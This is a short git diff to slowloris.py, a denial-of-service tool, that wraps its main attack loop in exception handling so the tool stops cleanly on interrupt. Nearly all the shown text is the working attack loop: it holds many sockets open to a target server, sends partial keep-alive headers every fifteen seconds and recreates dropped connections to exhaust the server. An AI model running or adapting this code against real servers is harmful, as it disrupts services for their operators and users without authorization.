diff --git a/slowloris.py b/slowloris.py index 41c9da9..d005a53 100644 --- a/slowloris.py +++ b/slowloris.py @@ -109,22 +109,27 @@ def main(): list_of_sockets.append(s) while True: - logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets)) - for s in list(list_of_sockets): - try: - s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")) - except socket.error: - list_of_sockets.remove(s) + try: + logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets)) + for s in list(list_of_sockets): + try: + s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")) + except socket.error: + list_of_sockets.remove(s) - for _ in range(socket_count - len(list_of_sockets)): - logging.debug("Recreating socket...") - try: - s = init_socket(ip) - if s: - list_of_sockets.append(s) - except socket.error: - break - time.sleep(15) + for _ in range(socket_count - len(list_of_sockets)): + logging.debug("Recreating socket...") + try: + s = init_socket(ip) + if s: + list_of_sockets.append(s) + except socket.error: + break + time.sleep(15) + + except (KeyboardInterrupt, SystemExit): + print("\nStopping Slowloris...") + break if __name__ == "__main__": main()